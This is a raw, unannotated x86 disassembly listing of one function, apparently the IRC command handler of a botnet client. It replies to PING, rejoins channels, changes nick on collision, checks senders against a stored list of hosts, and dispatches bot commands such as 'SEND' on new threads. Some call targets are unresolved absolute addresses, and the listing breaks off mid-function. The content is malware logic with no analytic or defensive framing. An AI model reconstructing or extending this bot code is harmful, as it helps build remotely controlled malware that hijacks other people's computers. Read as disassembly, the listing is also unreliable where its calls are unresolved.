var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA64 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA60 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA5C ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C99C

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C95C
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C920
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C91C
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A

